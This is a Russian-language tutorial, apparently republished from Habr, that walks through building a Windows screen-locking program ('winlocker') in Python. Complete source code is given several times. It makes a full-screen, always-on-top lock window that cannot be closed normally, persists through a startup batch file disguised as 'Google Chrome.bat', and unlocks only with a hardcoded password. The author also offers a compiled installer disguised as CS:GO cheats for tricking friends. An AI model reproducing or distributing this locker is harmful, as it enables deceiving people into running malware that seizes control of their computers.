Русский
Русский
English
Статистика
Реклама

Написание WinLockerа на Python

Внимание!

Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом.


Вступление

И всем привет братва, с вами я, Геймер Дисклеймер. Как вы думаете, чем я занимался 2 дня подряд? Нет, я не в доту рубился (и вам не советую, раз уж вы себя программистами называете). Я подготавливал материал для Хабра. А точнее, создавал винлокер. И нет, я его не скоммуниздил украл у кого-то, а сам создавал его с нуля. И сегодня я научу вас его создавать. И да, если вы дисклеймер так и не прочитали, то ни в коем случае не используйте этот код во вред другим! Ну ладно, без лишних слов, погнали!

Что нам нужно?

Для создания винлокера нам понадобится:

  1. Сам Python, установить который вы сможете на официальном сайте

  2. Текстовый редактор, в моём случае это будет S*****e Text, цензура для того, чтобы модерация не сочла это за пиар (фактически, вы сможете его написать хоть в простом блокноте)

  3. Доступ к интернету для установки необходимых модулей в PyPI

  4. Компьютер, работающий на ОС Windows

  5. Хоть какое-то базовое познание Python

  6. Прямые руки

  7. Чай с молоком, или в крайнем случае кофе

Приступаем к написанию

Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.

Создаём файл main.py в любой директории

После этого открываем его в любом редакторе.

И начинаем писать наш волшебный код...

Установка и импорт модулей

Ах да... чуть не забыл. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd

и попадаем в командную строку...

вводим туда pip install getpass3

И у нас происходит установка

Таким же образом вводим комманды pip install pyautogui и pip install playsound

Потом возвращаемся в наш файл, и пишем в нём слудующее:

# Импортируем все модули, которые нам пригодятсяfrom playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleep

Создание окна

После этого для удобства ставим отступ, и пишем вот такое

USER_NAME = getpass.getuser()

Тут мы присваиваем переменной USER_NAME имя нашего пользователя, в моём случае это просто User.

Потом вводим в наш файл такие истрочки, пояснение будет в комментариях

window = Tk() # Присваиваем переменной window значение окна, чтобы мы не писали всегда Tk()window.title("WinLocker by GDisclaimer") # Делаем заголовок окна WinLocker by GDisclaimerwindow.geometry('400x250') # Хотя это нам не понадобиться, но на всякий случай, это делает размер окна 400 на 250 пикселейwindow['bg'] = 'black' # Теперь наше окно будет чёрнымwindow.mainloop() # Эта строчка нам нужна, чтобы окно не закрывалось сразу же после открытия

Для удобства, вот вам код, который вы должны скопировать:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'window.mainloop()

Запуск, и проверка кода на работоспособность

Сохраняем файл. После сохранения заходим опять в консоль, переходим в нашу директорию, где расположен файл. Делается это так:

cd "C:\Your\Path\To\The\Main\Py\File"

Моя директория C:/myFiles. Поэтому моя комманда будет выглядеть вот так

cd "C:\myFiles"

потом вводим вот такую строчку:

python main.py

В результате у вас должно запуститься окно.

Круто! Но ведь это ещё далеко не винлокер....

Но до этого мы ещё не дошли. Сейчас Мы поговорим про адаптивность

Делаем окно адаптивным

Давайте сначало поговорим, зачем нам это вообще нужно. Я вам скажу. Не у всех же нормальный 1920x1080 мониторы. У меня самого монитор 1366x768. А у кого-то мониторы ещё меньше

И чтобы у некоторых людей текст не вылазил за пределы экрана, мы настроим адаптивность.

К сожалению, для меня этот код тоже был сложным, и мне пришлось его копировать с другого сайта.

ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()

# Base sizenormal_width = 1920 # Задаём ширину обычного монитораnormal_height = 1080 # Задаём высоту обычного монитора# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))

Опять-же вот вам весь код:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'# Base sizenormal_width = 1920normal_height = 1080# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))window.mainloop()

Сохраняем и проверяем. Если код не выдал ошибок, то идём дальше

Добавляем функции

Сделать окно - это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.

# Запускаем песню, которую вы должны скачатьdef play(test):        playsound('sound.mp3', False)# Добавляем наш винлокер на автозапускdef add_to_startup(file_path=""):    if file_path == "":        file_path = os.path.dirname(os.path.realpath(__file__))    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:        bat_file.write(r'start "" %s' % file_path)# Эта функция не даёт нам закрыть окно путём Alt + F4def block():    pyautogui.moveTo(x=680,y=800)    window.protocol("WM_DELETE_WINDOW",block)    window.update()# Здесь мы делаем, чтобы окно выводилось на целый экран, и было всегда на переднем планеdef fullscreen():    window.attributes('-fullscreen', True, '-topmost', True)# Тут мы проверяем пароль на правильностьdef clicked():    res = format(txt.get())    if res == 'petya':        file_path = '/tmp/file.txt'        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME        os.remove(file_path)        sys.exit()

Сохраняем, и запускаем. Вроде-бы ничего не изменилось. Так и должно быть! Ведь мы нигде не запускали наши функции. И запускать мы их пока-что не будем. Иначе будет очень плохо

И да, на первой строчке мы видим функцию play(test). Но постойте! там же упомянут файл sound.mp3. Но ведь его у меня нету.

Сейчас исправим.

Вот ссылка на сам файл: http://www.mediafire.com/file/ouuwbnw48l415xd/sound.mp3/file

Сохраняем его в директорию с нашим файлом. Если у файла название не sound.mp3, то переименовываем

Делаем апгрейд интерфейса

До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?

Сейчас исправим...

Вводим вот эти строчки кода (опять-же, все обьясняю в комментариях):

add_to_startup("C:\\myFiles\\main.py") # Добавляем наш файл в автозапускfullscreen() # Вызываем фунцию, которая ставит окно с программой на передний план, и делает его на полный экран# Создаем текстtxt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')# Используем метод .grid, чтобы текст появился на экранеtxt_one.grid(column=0, row=0)txt_two.grid(column=0, row=0)txt_three.grid(column=0, row=0)# Расставляем весь текст по местамtxt_one.place(relx = .01, rely = .01)txt_two.place(relx = .01, rely = .11)txt_three.place(relx = .01, rely = .21)# Тут мы делаем строку с вводом кода, и для его проверки вызываем функцию clicked()txt = Entry(window)  btn = Button(window, text="ВВОД КОДА", command=clicked)  txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)# Врубаем ранее установленную песнюplay('sound.mp3')

ВНИМАНИЕ! ОКНО ЗАКРВАЕМ КОМБИНАЦИЕЙ КЛАВИШ ALT + F4

А ТАКЖЕ, КОД ОТ ВИНЛОКЕРА: petya

Запускаем и проверяем. Окно должно выглядеть вот так:

Если же нет, то вот вам весь код:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'# Base sizenormal_width = 1920normal_height = 1080# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))def play(test):        playsound('sound.mp3', False)def add_to_startup(file_path=""):    if file_path == "":        file_path = os.path.dirname(os.path.realpath(__file__))    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:        bat_file.write(r'start "" %s' % file_path)def block():    pyautogui.moveTo(x=680,y=800)    window.protocol("WM_DELETE_WINDOW",block)    window.update()def fullscreen():    window.attributes('-fullscreen', True, '-topmost', True)def clicked():    res = format(txt.get())    if res == 'petya':        file_path = '/tmp/file.txt'        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME        os.remove(file_path)        sys.exit()add_to_startup("C:\\myFiles\\main.py")fullscreen()txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')txt_one.grid(column=0, row=0)txt_two.grid(column=0, row=0)txt_three.grid(column=0, row=0)txt_one.place(relx = .01, rely = .01)txt_two.place(relx = .01, rely = .11)txt_three.place(relx = .01, rely = .21)txt = Entry(window)  btn = Button(window, text="ВВОД КОДА", command=clicked)  txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)play('sound.mp3')window.mainloop()

Убираем возможность закрытия окна путём Alt + F4

Мы с вами закрывали окно путём комбинации клавиш, упомянутой в заголовке.

Нам нужно это убрать. Для этого просто вводим перед строчкой window.mainloop() строку block()

Теперь от винлокера можно избавиться вводом кода.

КОД: petya

Убираем возможность снять винлокер путём закрытия командной строки

Особо внимательные читатели додумались закрывать винлокер обычного закрытия командной строки. Если вы меня не поняли, ничего страшного. Потом поймёте. нам нужно всего лишь к файлу main.py добавить w, чтобы получилось main.pyw

Исходный код

Вот и всё! Наш винлокер готов, вот вам весь исходный код файла:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'# Base sizenormal_width = 1920normal_height = 1080# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))def play(test):        playsound('sound.mp3', False)def add_to_startup(file_path=""):    if file_path == "":        file_path = os.path.dirname(os.path.realpath(__file__))    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:        bat_file.write(r'start "" %s' % file_path)def block():    pyautogui.moveTo(x=680,y=800)    window.protocol("WM_DELETE_WINDOW",block)    window.update()def fullscreen():    window.attributes('-fullscreen', True, '-topmost', True)def clicked():    res = format(txt.get())    if res == 'petya':        file_path = '/tmp/file.txt'        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME        os.remove(file_path)        sys.exit()add_to_startup("C:\\myFiles\\main.py")fullscreen()txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')txt_one.grid(column=0, row=0)txt_two.grid(column=0, row=0)txt_three.grid(column=0, row=0)txt_one.place(relx = .01, rely = .01)txt_two.place(relx = .01, rely = .11)txt_three.place(relx = .01, rely = .21)txt = Entry(window)  btn = Button(window, text="ВВОД КОДА", command=clicked)  txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)block()play('sound.mp3')window.mainloop()

.EXE файл

Так-же вы сможете скомилировать весь код в расширение .ехе с помощью pyinstaller. Я очень добрый автор, и я решил скинуть вам установщик, замаскированный под читы для CS:GO, вы можете затроллить этим друга, но обещайте, что не будете делать атаки этим винлокером, а также, когда немножко посмеётесь, обязательно скажите пароль от винлокера:)


Установщик винлокера


Заключение

В заключение я хочу сказать скептикам - делать вирусы можно хоть где. Даже на том самом PHP...

Так что всем спасибо за то, что прочитали мою статью, а модерации спасибо, в случае, если моя статься попадёт на ленту.

Всем удачи, и хорошего дня!

Источник: habr.com
К списку статей
Опубликовано: 12.12.2020 16:04:40
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Python

Разработка под windows

Winlocker

Вирусы

Вирус на пайтон

Вирус на python

Winlocker на python

Винлокер на python

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru